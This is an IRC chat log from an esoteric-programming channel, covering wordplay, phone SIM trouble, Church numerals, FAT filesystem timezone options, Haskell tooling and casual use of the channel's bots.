10:01:06 <shachaf> I think people call that zeugma but maybe it would more accurately be called syllepsis.
10:01:46 <shachaf> There's a famous song by Flanders and Swann that uses these things a lot.
10:02:19 <shachaf> It's clever but the subject matter is distasteful.
10:04:11 <hppavilion[1]> shachaf: Do you know the title?
10:04:21 <shachaf> Yes.
10:04:33 <hppavilion[1]> Ah, Have Some Madeira M'Dear
10:04:40 <hppavilion[1]> That was easy
10:05:15 <hppavilion[1]> If only there was some way for me to express the ease with which I found that... Some sort of... Button...
10:05:27 <shachaf> `rm bin/lmg
10:05:35 <HackEgo> No output.
10:05:41 <shachaf> Too rude.
10:05:52 <shachaf> If it was in nice mode it might be excusable.
10:06:34 <hppavilion[1]> shachaf: It could pretty easily be made nice
10:08:06 <shachaf> I wonder why the Wikipedia page for that song says that it's about "seduction" rather than "rape".
10:08:57 <shachaf> https://en.wikipedia.org/w/index.php?title=Have_Some_Madeira_M%27Dear&diff=514192267&oldid=491132795
10:09:00 <shachaf> good edit
10:10:25 <hppavilion[1]> shachaf: Probably because it was intended to be about seduction at the time (1967, for cthulhhu's sake), and that was how it would have been interpreted contemporarily; culture has changed by now, I would say for the better if I wasn't too biased to judge, but if 1967 was different, it's more accurate to refer to it in the way 1967-ians would have seen it than how we now see it
10:10:59 <shachaf> Oh, come on.
10:11:04 <shachaf> Have you seen the lyrics?
10:11:30 <hppavilion[1]> shachaf: No, actually
10:11:52 <hppavilion[1]> shachaf: I got about 20 seconds into the YouTube video before I decided it probably wasn't my taste
10:12:44 <shachaf> zeugmatic or not?
10:12:58 <hppavilion[1]> shachaf: Correct?
10:13:19 <shachaf> Well, I'd suggest that you read the lyrics before jumping to defend that edit.
10:13:52 <hppavilion[1]> shachaf: That'd probably be best
10:14:04 <hppavilion[1]> shachaf: I was just pointing out cultural context
10:14:18 * hppavilion[1] degenerates into a slur of buzzwords
10:15:47 -!- xkapastel has quit (Quit: Connection closed for inactivity).
10:16:25 <hppavilion[1]> From tvtropes: "Plots, Characters, and Conflict are tropes, and literally no proper story can be told without them (whatever form they take)."
10:16:37 <hppavilion[1]> Challenge: Defeat TVTropes
10:17:35 <shachaf> Well, "plot" is just "what happens", so a story without a plot would be one where nothing happened.
10:18:08 <hppavilion[1]> shachaf: Yes
10:18:12 <shachaf> Characters are probably not necessary, if that means sentient characters, at least.
10:18:16 <hppavilion[1]> shachaf: I think characters is the only one you can really get away with
10:18:16 <Vorpal> you can tell a story without conflict though I think. Though making it engaging might be harder
10:18:18 <shachaf> Conflict is probably not necessary.
10:19:00 <shachaf> Keith Johnstone talks about storytelling in his excellent book _Impro: Improvisation and the Theatre_ (and also his other book _Impro for Storytellers_).
10:19:03 <Vorpal> But consider things like some gag-a-day comic strips. They might not have conflict all the time.
10:19:11 <Vorpal> Sometimes they definitely though
10:19:19 <Vorpal> do though*
10:19:37 <Vorpal> though I guess you could argue that is not a story as such
10:48:10 -!- Phantom_Hoover has joined.
11:02:51 -!- idris-bot has quit (Ping timeout: 264 seconds).
11:05:36 -!- Melvar has quit (Ping timeout: 246 seconds).
11:07:59 -!- Melvar has joined.
11:17:46 -!- Destructible has joined.
11:17:52 <Destructible> hello
11:17:54 <Destructible> ?
11:18:00 <Destructible> `? rainwords
11:18:40 <HackEgo> rainwords? ¯\(°​_o)/¯
11:19:58 <Destructible> anybody
11:21:01 -!- boily has joined.
11:30:19 <fizzie> Fun, gone.
11:33:35 -!- fungot has joined.
11:33:48 <fizzie> Fun, got.
11:34:53 <boily> fungot: fungellot.
11:34:54 <fungot> boily: so be it. :( syntax-rules is too weak for them. i'm straight because that's what sicp is, eopl isn't.
11:38:46 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
11:44:41 <Destructible> hello
11:45:24 <Destructible> did i miss the fun?
11:45:30 <Destructible> :(
11:45:34 <Destructible> `? :(
11:45:51 <HackEgo> ​:(? ¯\(°​_o)/¯
11:48:21 -!- Melvar` has joined.
11:48:31 <Destructible> hi
11:48:43 <Destructible> melvar?
11:48:50 <Destructible> did you join to idle?
11:49:25 <Destructible> damn
11:49:36 <boily> Destructibello.
11:49:42 -!- Melvar has quit (Ping timeout: 276 seconds).
11:50:35 -!- zemhill__ has joined.
11:50:59 -!- tromp_ has joined.
11:51:54 -!- pikhq_ has joined.
11:53:07 -!- atehwa_ has joined.
11:53:23 -!- prooftechnique_ has joined.
11:53:33 -!- Lord_of_Life has quit (Ping timeout: 260 seconds).
11:53:34 -!- zemhill_ has quit (Ping timeout: 260 seconds).
11:53:35 -!- Xe has quit (Ping timeout: 260 seconds).
11:53:35 -!- feliks has quit (Ping timeout: 260 seconds).
11:53:35 -!- pikhq has quit (Ping timeout: 260 seconds).
11:53:36 -!- clog has quit (Ping timeout: 260 seconds).
11:53:36 -!- tromp has quit (Ping timeout: 260 seconds).
11:53:36 -!- prooftechnique has quit (Ping timeout: 260 seconds).
11:53:37 -!- atehwa has quit (Ping timeout: 260 seconds).
11:53:37 -!- nisstyre has quit (Ping timeout: 260 seconds).
11:53:39 -!- Lord_of_- has joined.
11:55:35 -!- nisstyre has joined.
11:55:47 -!- pelegreno_ has joined.
11:56:12 -!- fractal has quit (Ping timeout: 256 seconds).
11:56:14 -!- Xe has joined.
12:00:01 -!- lambdabot has quit (Read error: Connection reset by peer).
12:00:01 -!- pelegreno has quit (Ping timeout: 260 seconds).
12:00:26 -!- Destructible has quit (Ping timeout: 250 seconds).
12:02:56 -!- feliks has joined.
12:05:30 -!- lambdabot has joined.
12:11:33 -!- clog has joined.
12:14:35 -!- fractal has joined.
12:15:07 -!- gamemanj has joined.
12:22:49 -!- boily has quit (Quit: NUMISMATIC CHICKEN).
12:55:04 <fizzie> My phone doesn't like being back in Finland. :/
12:55:12 <fizzie> The one with a Finnish SIM in it, that is.
12:55:38 <fizzie> It's been fine in UK in roaming mode, but now it's all "network not available" when it's back in the operator's own network.
12:56:55 <int-e> can a comment on github link to an issue in a way that its status is visible? it seems a bit silly to comment on another issue just to get a mention, with status, in one's own.
13:02:51 <int-e> well, why don't I try #github
13:25:24 <Vorpal> fizzie: weird
13:25:32 <Vorpal> fizzie: holidays?
13:27:44 -!- dnm has quit (Ping timeout: 240 seconds).
13:31:16 <Vorpal> Trying to find a library to calculate sunset/sunrise times in erlang. Not hard to implement, but why reinvent the wheel. However googling for this turned out to be surprisingly difficult, due to mostly finding web site telling me when the sun sets in Erlang, China. Which is apparently a place
13:32:45 <HackEgo> [wiki] [[BF+BF]] N https://esolangs.org/w/index.php?oldid=47136 * IAM * (+2213) Created page with "'''BF+BF''' is a esoteric programming language that is a combination of Befunge and Brainfuck Extended Type I. I don't have the time to write this fancily, so I'll just includ..."
13:33:32 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47137&oldid=47096 * IAM * (+12)
13:37:42 <HackEgo> [wiki] [[User:IAM]] https://esolangs.org/w/index.php?diff=47138&oldid=46850 * IAM * (+13)
13:37:51 <HackEgo> [wiki] [[User:IAM]] https://esolangs.org/w/index.php?diff=47139&oldid=47138 * IAM * (+2)
13:38:11 <HackEgo> [wiki] [[BF+BF]] https://esolangs.org/w/index.php?diff=47140&oldid=47136 * IAM * (+13)
13:38:20 <HackEgo> [wiki] [[BF+BF]] https://esolangs.org/w/index.php?diff=47141&oldid=47140 * IAM * (+2)
13:46:34 -!- evalj has joined.
13:47:31 <b_jonas> ohi
13:50:38 <b_jonas> \oren\: um, it seems some of the newer characters you've added to the font don't show up in http://www.orenwatson.be/fontdemo.htm , as if the font was older than the demo page
13:51:13 <b_jonas> \oren\: ah, sorry, they're better now
13:51:15 <b_jonas> after I reloaded
13:52:15 <b_jonas> \oren\: oh nice, you've added some of the rarer CJK repetition markers
14:03:24 -!- Melvar` has quit (Ping timeout: 246 seconds).
14:04:38 -!- Melvar` has joined.
14:23:45 -!- Frooxius has quit (Quit: *bubbles away*).
14:24:10 -!- Frooxius has joined.
15:11:33 -!- idris-bot has joined.
15:12:28 -!- Melvar` has changed nick to Melvar.
15:42:24 <fizzie> Vorpal: Yes, and yes. The weird thing is, I swapped the SIM cards (one UK, one Finnish) between the two phones (Nexus 6, Nexus 5X) and now they're both happy.
15:44:25 <fizzie> And I don't think it's just the usual delay for registering to the network; I had been here for almost a day, and rebooted the phone a couple of times.
15:47:00 -!- xkapastel has joined.
15:55:09 -!- Kaynato has joined.
15:56:11 <FreeFull> fizzie: Weird
15:56:37 <FreeFull> Maybe it'll work if you swap again now
15:57:25 <b_jonas> FreeFull: maybe the phones are locked to a provider? or one of the phones is old or something?
15:57:28 <b_jonas> um
15:57:29 <b_jonas> fizzie: ^
15:57:30 <b_jonas> I dunno
15:57:33 <fizzie> Possibly. I had similar trouble last time as well, again fixed by swapping, and then *un*fixed by swapping back. Then I just kept fiddling at it (including flashing a newer Android build on the phone) and eventually it started working.
15:57:38 <fizzie> They're both retail Nexus devices.
15:57:42 <b_jonas> it might be just random stupidity of the phons
15:57:46 <b_jonas> fizzie: how old are they?
15:57:49 <FreeFull> Super weird
15:58:08 <fizzie> They're a 6 and a 5X.
15:58:28 <b_jonas> fizzie: ok, now explain what that means to someone who doesn't follow android phone stuff. how old are they?
15:59:00 <fizzie> I don't really remember. 5X came out in 2015.
15:59:05 <fizzie> The 6 maybe in 2014.
15:59:20 <b_jonas> ah, they're not even in order
15:59:21 <b_jonas> ok
15:59:29 <fizzie> It's a size-related name.
16:00:12 <b_jonas> ah, like with cards
16:00:13 <b_jonas> cars
16:00:16 <b_jonas> not cards, cars
16:00:38 <b_jonas> although about cards, have they invented a sixth SIM card size yet?
16:00:44 <fizzie> The 5" Nexus 5 is older, the 6" Nexus 6 was I think 2014, and last year they released the pair of Nexus 5X (5.2") and Nexus 6P (...5.9"?) about the same size.
16:01:16 <int-e> http://www.androidcentral.com/nexus-6 http://www.androidcentral.com/nexus-5x ... useful url scheme
16:01:42 <fizzie> I didn't even know they had a fifth.
16:01:51 <int-e> october 2014; end of september 2015
16:01:57 <b_jonas> https://en.wikipedia.org/wiki/Subscriber_identity_module#Formats
16:02:41 <fizzie> Does that eSIM thing even count?
16:02:49 <b_jonas> fizzie: why wouldn't it count?
16:02:54 <b_jonas> I think it counts
16:03:00 <fizzie> It's not a "card".
16:03:33 <b_jonas> does that matter?
16:03:54 <fizzie> Well, you did say "SIM card size".
16:04:52 <b_jonas> it still has the same functionality as a SIM card
16:04:54 <int-e> hmm, at least it's a standardized format
16:04:56 <b_jonas> I don't care what shape it has
16:05:23 <int-e> the non-full-size SIMs aren't much of cards either
16:05:38 <fizzie> No, but at least they're the sort of thing you stick in a device.
16:05:44 <fizzie> Not something soldered in.
16:06:07 <b_jonas> fizzie: I think they're only optionally soldered in
16:06:17 <int-e> https://en.wikipedia.org/wiki/File:Embedded_SIM_from_M2M_supplier_Eseye_with_an_adapter_board_for_evaluation_in_a_Mini-SIM_socket_blurred.jpg looks like you could have a socket
16:06:42 <b_jonas> yes, what int-e says
16:06:53 <int-e> but it's hard to tell
16:07:10 <b_jonas> but even if it has to be soldered in, it's functionally the same
16:07:12 <fizzie> "Photograph showing an Embedded SIM also known as a chip SIM as used in Machine to Machine (M2M) Applications on business card for scale. Also shows an adapter board to allow the embedded SIM card to be evaluated in a 2FF SIM socket."
16:07:13 <b_jonas> just a bit harder to replace
16:08:28 <fizzie> Have it your way; I'll still consider there's 4 "SIM card sizes" the way I interpret it.
16:09:43 <int-e> this is a bit like the Hitchhiker's trilogy.
16:09:46 <b_jonas> `? covariant
16:09:48 <b_jonas> `? contravariant
16:10:03 <int-e> the term "card" becomes increasingly inapplicable
16:10:04 <b_jonas> `? invariant
16:10:34 <int-e> (oh I spelled that correctly)
16:10:47 <fizzie> HackEgovariant: adj., very slow.
16:11:23 <HackEgo> covariant? ¯\(°​_o)/¯
16:11:23 <HackEgo> invariant? ¯\(°​_o)/¯
16:11:23 <HackEgo> contravariant? ¯\(°​_o)/¯
16:11:42 <fizzie> Worth the wait.
16:11:44 <b_jonas> `? variant
16:11:46 <HackEgo> variant? ¯\(°​_o)/¯
16:11:48 <int-e> ah, CaC still provides me with the usual level of fun... "[142454.411715] EXT4-fs (dm-0): Remounting filesystem read-only"
16:12:50 <int-e> http://sprunge.us/PITQ
16:12:56 -!- augur has joined.
16:25:24 <tswett> So I think this is a Church numeral for Graham's number:
16:25:25 <tswett> 64 (\n -> pred n (\f b -> b f 3) (\b -> b 3)) 3
16:26:50 <tswett> Lemme see.
16:26:57 <tswett> (\b -> b 3) is the "3^" function.
16:28:11 <tswett> That (\n ->) function there starts with the "3^" function and, (n-1) times, it replaces f with \b -> b f 3.
16:28:36 <b_jonas> fungot, That (\n ->) function there starts with the "3^" function and, (n-1) times, it
16:28:36 <fungot> b_jonas: usually i just mumble without directing the stuff to so many pieces left over :)
16:29:21 <tswett> So, the first replacement turns it into \b -> b (3^) 3, which starts with 3 and then applies (3^) to it b times...
16:29:23 <Vorpal> fizzie: weird, with the phone
16:29:28 <tswett> So that's wrong, let me change it.
16:29:41 <tswett> 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 3
16:30:04 <b_jonas> fungot, do you know what happened to fizzie's fone?
16:30:05 <fungot> b_jonas: what are you using? it works on my data. i have really done is read part of church papers when he designed the entirety of the stack as if it were
16:30:36 <tswett> Okay, so the first replacement turns it into \b -> pred b (3^) 3, which starts with 3 and then applies (3^) to it (b-1) times. So that gives you (3^^).
16:32:09 <b_jonas> @pl \b -> pred b (3^) 3 -- which starts with 3 and then applies (3^) to it (b-1) times. So that gives you (3^^).
16:32:09 <lambdabot> flip (flip pred (3 ^)) 3
16:34:25 <tswett> The second replacement turns it into \b -> pred b (3^^) 3, which starts with 3 and applies (3^^) to it (b-1) times, so you have (3^^^).
16:34:51 <b_jonas> @pl \b -> pred b (3^^) 3 -- , which starts with 3 and applies (3^^) to it (b-1) times, so you have (3^^^).
16:34:51 <lambdabot> flip (flip pred (3 ^^)) 3
16:35:11 <tswett> @pl 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 3
16:35:11 <lambdabot> 64 (flip (flip pred (flip flip 3 . flip pred)) ($ 3)) 3
16:36:02 <tswett> One last correction, then it'll actually be correct.
16:36:06 <tswett> 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 4
16:36:20 <b_jonas> @type 64 (\n -> pred n (\f b -> pred b f 3) (\b -> b 3)) 4
16:36:21 <lambdabot> (Enum (t2 -> a -> t1), Enum ((t2 -> (t2 -> a -> t1) -> t1) -> ((a1 -> t3) -> t3) -> t), Num a, Num a1, Num a2, Num ((((t2 -> (t2 -> a -> t1) -> t1) -> ((a1 -> t3) -> t3) -> t) -> t) -> a2 -> t4)) => t4
16:38:33 <tswett> @type let ch = undefined :: Int -> (a -> a) -> a -> a; pred = ((a -> a) -> a -> a) -> (a -> a) -> a -> a in ch 64 (\n -> pred n (\f b -> pred b f (ch 3)) (\b -> b (ch 3))) (ch 4)
16:38:34 <lambdabot> parse error on input ‘->’
16:38:53 <tswett> Um.
16:39:03 <tswett> @type let ch = undefined :: Int -> (a -> a) -> a -> a; pred = ((a -> a) -> a -> a) -> (a -> a) -> a -> a in 'x'
16:39:05 <lambdabot> parse error on input ‘->’
16:39:15 <tswett> Whoops.
16:39:25 <tswett> @type let ch = undefined :: Int -> (a -> a) -> a -> a; pred = undefined :: ((a -> a) -> a -> a) -> (a -> a) -> a -> a in ch 64 (\n -> pred n (\f b -> pred b f (ch 3)) (\b -> b (ch 3))) (ch 4)
16:39:26 <lambdabot> Occurs check: cannot construct the infinite type:
16:39:26 <lambdabot> a ~ (a -> a) -> a -> a
16:39:26 <lambdabot> Expected type: ((((((a -> a) -> a -> a) -> (a -> a) -> a -> a)
16:42:12 <tswett> @pl \n f x -> f (n f x)
16:42:12 <lambdabot> ap (.)
16:43:10 -!- moon_ has joined.
16:43:11 <tswett> @pl \n p f x = n f (p f x)
16:43:12 <lambdabot> (line 1, column 10):
16:43:12 <lambdabot> unexpected "="
16:43:12 <lambdabot> expecting pattern or "->"
16:43:20 <tswett> @pl \n p f x -> n f (p f x)
16:43:20 <lambdabot> liftM2 (.)
16:43:27 <tswett> @pl \n p f x -> p f (n f x)
16:43:27 <lambdabot> flip (liftM2 (.))
16:43:35 <tswett> @type liftM2
16:43:38 <lambdabot> Monad m => (a1 -> a2 -> r) -> m a1 -> m a2 -> m r
16:43:47 <tswett> @unpl liftM2
16:43:48 <lambdabot> (\ c d e -> d >>= \ b -> e >>= \ a -> return (c b a))
16:45:59 <moon_> `ksh
16:46:03 <moon_> just checking
16:46:05 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ksh: not found
16:46:13 <moon_> kthx hackego
16:46:34 <int-e> `` type -f bash
16:46:36 <HackEgo> bash is /bin/bash
16:46:47 <int-e> `` cd /bin; echo *sh
16:46:48 <tswett> What does -f do on type?
16:46:48 <HackEgo> bash dash rbash sh
16:46:58 <Sgeo> Is it just me or is Erlang in love with global mutable variables (what Erlangers would call registering "processes" with "names")
16:47:05 <int-e> tswett: type -f is which, more or less
16:47:14 <tswett> `` type -f type
16:47:16 <HackEgo> type is a shell builtin
16:47:23 <tswett> `` type echo
16:47:25 <HackEgo> echo is a shell builtin
16:47:28 <tswett> `` type -f echo
16:47:29 <int-e> oh. I failed to parse the question
16:47:30 <HackEgo> echo is a shell builtin
16:47:37 <b_jonas> fungot, is Erlang in love with global mutable variables?
16:47:37 <fungot> b_jonas: can't assign to function call ( increasing the refcount) and fnord) system calls that increment and decrement by setting flags on its data about variables...
16:47:43 <b_jonas> `8-ball is Erlang in love with global mutable variables?
16:47:45 <HackEgo> Concentrate and ask again.
16:47:51 <b_jonas> tswett: try type -a
16:47:56 <tswett> `` type -a echo
16:47:58 <HackEgo> echo is a shell builtin \ echo is /bin/echo
16:48:28 <tswett> `` type bash; type -f bash
16:48:29 <HackEgo> bash is /bin/bash \ bash is /bin/bash
16:48:40 <tswett> I'm just gonna look it up.
16:48:58 <moon_> `type -f cat
16:48:59 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: type: not found
16:49:12 <moon_> `` type -f cat
16:49:13 <HackEgo> cat is /bin/cat
16:49:31 <moon_> `ls /bin
16:49:33 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ kmod \ less \
16:49:38 <moon_> i wonder if it is re- oh yay'
16:49:41 <tswett> "If the -f option is used, type does not attempt to find shell functions, as with the command builtin. "
16:50:11 <tswett> Which is to say, the "command" builtin, not the command "builtin".
16:50:16 <moon_> `mkdir /bin/test
16:50:18 <HackEgo> mkdir: cannot create directory `/bin/test': Read-only file system
16:50:23 <moon_> knew it
16:50:35 <int-e> then why did you
16:50:46 <moon_> its an expression
16:51:02 <b_jonas> `8-ball what's with #esoteric today?
16:51:03 <HackEgo> Very doubtful.
16:51:39 <moon_> `8-ball Will you ever learn to use proper grammar?
16:51:40 <HackEgo> My sources say no.
16:51:54 <moon_> :<
16:52:19 <moon_> >_<
16:52:40 <moon_> @ [1..10]
16:52:50 <moon_> thats the right bot i hope
16:53:08 <moon_> >[1..10]
16:53:17 <moon_> @[1..10]
16:53:17 <lambdabot> Unknown command, try @list
16:53:28 <moon_> oh, not haskal
16:53:30 <int-e> you're so unlucky
16:53:39 <int-e> > [1..10]
16:53:41 <lambdabot> [1,2,3,4,5,6,7,8,9,10]
16:53:56 <int-e> @run [1..10]
16:53:58 <lambdabot> [1,2,3,4,5,6,7,8,9,10]
16:54:05 <moon_> .-.
16:54:24 <int-e> @help eval
16:54:24 <lambdabot> eval. Do nothing (perversely)
16:54:35 <int-e> @help run
16:54:35 <lambdabot> run <expr>. You have Haskell, 3 seconds and no IO. Go nuts!
16:55:04 <moon_> ok!
16:55:19 <moon_> > [1,632422352..]
16:55:21 <lambdabot> [1,632422352,1264844703,1897267054,2529689405,3162111756,3794534107,44269564...
17:00:07 -!- hwpplayer1 has joined.
17:00:11 <moon_> hi
17:00:15 -!- augur has quit (Remote host closed the connection).
17:08:16 -!- augur has joined.
17:10:08 -!- Sgeo_ has joined.
17:10:41 -!- Sgeo has quit (Ping timeout: 240 seconds).
17:12:16 <HackEgo> [wiki] [[Special:Log/newusers]] create * Quiqucode * New user account
17:14:08 <moon_> lets hope we get someone to stick around
17:54:21 -!- iaglium has joined.
18:02:38 <tswett> @eval "hi"
18:03:16 <tswett> So, uh, is that what happens?
18:03:29 <tswett> @eval undefined
18:04:02 <tswett> NO MUCHO ESTÁ PASANDO
18:07:08 <moon_> Hi
18:07:12 <moon_> Hello iaglium
18:07:21 <moon_> you new? never seen you before
18:16:19 <b_jonas> On a fat32 filesystem, the file mtimes are recorded as local time. Whe mounting such a fs on linux, as type=vfat, how do I tell linux what timezone to use? That's probably impossible, because the kernel doesn't know about it, right?
18:16:34 <b_jonas> Is there some other solution, like a user-space file system that knows about this?
18:32:10 -!- moony has quit (Ping timeout: 250 seconds).
18:32:34 -!- augur has quit (Remote host closed the connection).
18:33:01 -!- augur has joined.
18:33:11 <int-e> run windows on GMT? (not really kidding, it's what I do to avoid a mess on DST switches)
18:34:22 <b_jonas> int-e: windows isn't involved
18:34:30 <b_jonas> int-e: the fat is written by a non-windows mobile phone
18:34:37 <b_jonas> int-e: windows uses ntfs these days
18:35:32 <b_jonas> int-e: it's phones and cameras and cash registers and those kinds of stuff that use FAT, and they still will be using them in 2097 when the fat date rolls around and people will find themselves with broken machines, way worse than in 2000 or in 2037
18:36:44 <b_jonas> int-e: because software running on the cpu is easy to update, so people will get 64 bit dates in memory easily, but file system formats are hard to update, because you have to get many machines coordinated, and FAT in particular is very impossible to update, BECAUSE WINDOWS 95 ORS FILLED ALL THE 32 BYTES OF THE DIRECTORY ENTRY SO THERE'S ABSOLUTELY NO SPACE LEFT FOR A COMPATIBLE EXTENSION
18:36:47 <int-e> looking at /usr/src/linux/Documentation/filesystems/vfat.txt , there's a timezone=UTC to tell the kernel to assume UTC; there's a time_offset=minutes to get a custom offset.
18:36:59 <b_jonas> int-e: ah, thanks
18:37:18 -!- augur has quit (Ping timeout: 250 seconds).
18:37:35 <int-e> wow, I should really use cut&paste
18:37:41 <int-e> tz=UTC is what the first flag is
18:37:48 -!- moon_ has quit (Ping timeout: 250 seconds).
18:37:59 <b_jonas> ah, and http://man7.org/linux/man-pages/man8/mount.8.html tells about tz=UTC , I should just look under type=fat (which type=vfat inherits from) rather than type=vfat
19:07:06 <\oren\> hint-e, b_jhellonas!
19:09:25 <b_jonas> \oren\: hi
19:10:32 <b_jonas> \oren\: I see you added three extra runes to your font from the Verne cryptogram: the G rune, the D rune, a variant C/K rune.
19:10:51 <b_jonas> \oren\: but I have some questions. (1) in the demo page, what does red and yellow characters mean? I know the green means recently added
19:11:13 <b_jonas> \oren\: and the other, do you have a brief description somewhere on what you're using each private use character for in your font?
19:11:41 <\oren\> red is characters that aren't real ones. yellow is new red ones.
19:12:03 <\oren\> That is a good idea, I'll add a description
19:12:11 <b_jonas> um, what are they if not real ones?
19:12:59 <b_jonas> and aren't the green ones the new ones?
19:17:09 <\oren\> the green and yellow are both new
19:17:21 <\oren\> the yellow and red are both non-unicode
19:17:38 <b_jonas> \oren\: ah!
19:18:03 <\oren\> I've added a description of what I put in the PUA
19:18:12 <b_jonas> \oren\: but then why aren't the "Extra non-standard characters for Commodore 64 charset
19:18:16 <b_jonas> " red?
19:18:24 <b_jonas> did you get those encoded in unicode or somethign/
19:18:54 <\oren\> No that's just a mistakre
19:19:02 <b_jonas> ok
19:26:48 -!- gamemanj has quit (Ping timeout: 246 seconds).
19:27:06 -!- gamemanj has joined.
19:32:08 -!- MDude has quit (Ping timeout: 272 seconds).
20:03:47 -!- iaglium has quit (Quit: ZNC 1.7.x-nightly-20160225-9b31a077 - http://znc.in).
20:08:53 -!- hwpplayer1 has quit (Quit: Leaving.).
20:12:54 -!- hwpplayer1 has joined.
20:15:36 -!- PinealGlandOptic has joined.
20:23:46 -!- hwpplayer1 has quit (Quit: Leaving.).
20:26:20 -!- hwpplayer1 has joined.
20:26:24 -!- hwpplayer1 has left.
20:28:05 -!- hwpplayer1 has joined.
20:28:28 -!- hwpplayer1 has left.
20:53:48 <int-e> hate safehaskell
20:54:31 <b_jonas> int-e: what's the reason this time
20:57:14 <int-e> also hate lens
20:57:41 <int-e> I'm trying to update lambdabot... which relies on safehaskell for... safety
20:57:55 <int-e> and every time I do that there's a million modules in lens that can't be imported safely
21:12:05 <b_jonas> `? time cube
21:12:24 <HackEgo> EARTH HAS 4 CORNER SIMULTANEOUS 4-DAY TIME CUBE IN ONLY 24 HORU ROTATION. 4 CORNER DAYS, CUBES 4 QUAD EARTH. Bible A Lie & Word Is Lies. Navel Connects 4 Corner 4s. God Is Born Of A Mother - She Left Belly B. Signature. Your dirty lying teachers use only the midnight to midnight 1 day (ignoring 3 other days) Time to not foul (already wrong) bible t
21:39:01 <int-e> (the real problem here is that tracking safe modules has virtually no tool support... I'm manually pasting import lines into ghci in order to figure out which modules are safe and which are not)
21:43:50 <b_jonas> `? real problem
21:43:58 <HackEgo> real problem? ¯\(°​_o)/¯
21:45:41 <Taneb> `? backwards
21:45:44 <HackEgo> backwards? ¯\(°​_o)/¯
21:46:44 <Taneb> `run echo "¯\(o​_°)/¯ ?sdrawkcab" > wisdom/backward
21:46:52 <HackEgo> No output.
21:47:09 <shachaf> Taneb: What, you don't believe in `mk?
21:47:23 <Taneb> shachaf, I don't believe in a lot of things
21:47:36 <shachaf> Do you believe in Set^op?
21:48:00 <Taneb> I do not even believe in Set
21:48:03 <shachaf> The thing I quoted in in #haskell-offtopic is p. neat.
21:48:38 <Taneb> I don't believe in #haskell-offtopic
21:48:42 -!- MoALTz has quit (Quit: Leaving).
21:57:54 <int-e> in the end two modules needed to be patched... but I looked at 30 to figure out which of them are the root causes...
21:58:37 <HackEgo> [wiki] [[Deadfish]] https://esolangs.org/w/index.php?diff=47142&oldid=46987 * Jacek Michalak * (+15) /* External resources */
22:01:53 <HackEgo> [wiki] [[Palindrome]] https://esolangs.org/w/index.php?diff=47143&oldid=25341 * Jacek Michalak * (+115) /* External resources */
22:03:27 -!- gamemanj has quit (Ping timeout: 264 seconds).
22:09:48 <b_jonas> shachaf: oh, that's the channel that got split off because there was a schism in #haskell-blah ? seriously, who's heard of such a thing, an off-topic channel getting so out of hand that half of them go found a new channel
22:09:58 <b_jonas> `? #haskell-offtopic
22:10:01 <b_jonas> `? #haskell-blah
22:10:02 <b_jonas> `? #haskell
22:10:04 <b_jonas> `? haskell
22:10:16 <shachaf> Why are you doing that when it's pretty certain they'll mostly not be found?
22:10:27 <HackEgo> ​#haskell-offtopic? ¯\(°​_o)/¯
22:10:29 <HackEgo> ​#haskell-blah? ¯\(°​_o)/¯
22:10:31 <HackEgo> ​#haskell? ¯\(°​_o)/¯
22:10:32 <HackEgo> Unbound implicit parameter (?haskell::Wisdom) \ arising from a use of implicit parameter `?haskell'
22:10:55 <shachaf> The schism was that someone turned on the TLS-only flag.
22:11:02 <b_jonas> shachaf: yeah, I knwo
22:11:06 -!- idris-bot has quit (Ping timeout: 276 seconds).
22:12:07 -!- Melvar has quit (Ping timeout: 260 seconds).
22:14:26 -!- PinealGlandOptic has quit (Quit: leaving).
22:26:54 -!- Melvar has joined.
22:27:47 <Phantom_Hoover> shachaf, lol why would you do that
22:37:16 -!- dnm has joined.
22:44:53 -!- jaboja has joined.
23:28:14 <FreeFull> `? Phantom_Hoover
23:28:27 <HackEgo> Phantom Michael Hoover is a true Scotsman, hatheist, and completely out of the loop.
23:28:47 -!- Melvar` has joined.
23:29:50 <zzo38> What does "hatheist" mean, is that anything like "atheist"? (And does Scotish even have any true?)
23:31:39 -!- Melvar has quit (Ping timeout: 264 seconds).
23:31:48 <zzo38> Do you like Dungeons&Dragons game?
23:40:45 <b_jonas> `? FreeFull
23:40:47 <HackEgo> FreeFull is either full of freedom or free of fulldom, we are not sure.
23:41:31 <Phantom_Hoover> zzo38, it's a ~5 year old in-joke
23:42:54 <myname> so there is this person on another channel, joining for the first time ever, asking for an isp that does not have ipv6 because it makes the output of netstat ugly ...
23:43:02 <myname> this is why we can't have nice things
23:44:15 <pikhq_> The answer I recommend is "go fuck yourself".
23:44:23 -!- pikhq_ has changed nick to pikhq.
23:45:05 <myname> that was basically my answer
23:45:17 <izabera> pretty aggressive
23:45:38 <myname> he got what he asked for
23:46:01 <izabera> i thought he asked for an isp that [...]
23:46:02 -!- Melvar` has changed nick to Melvar.
23:46:40 <myname> subtext
23:46:52 <myname> he clearly.asked for a kick to the guts
23:47:00 <izabera> i can't read that yet
23:48:04 <myname> "the output of netstat is ugly" is like the worst possible reason to cling to some shitload old technology that will be replaced sooner or later
23:48:37 <izabera> maybe it was a made up reason to cover the actual reason that he's not allowed to share
23:48:46 -!- FreeFull has quit (Quit: rebooting).
23:48:53 <myname> not my problem
23:49:14 <myname> he also emphasizes on how he doesn't take advantages out of ipv6
23:50:55 <zzo38> Can you fix netstat? That is a separate problem.
23:51:42 <myname> i recommended a grep
23:52:13 <b_jonas> myname: NO! netstat actually has options to filter by protocol
23:52:28 <myname> i don't care
23:52:55 <myname> his reason is rstupid no matter how easy or hard it is to change the output of netstat
23:53:01 <b_jonas> myname: sure
23:53:21 <b_jonas> myname: but I mean, using grep for that is as much of a crime as using grep on ps output
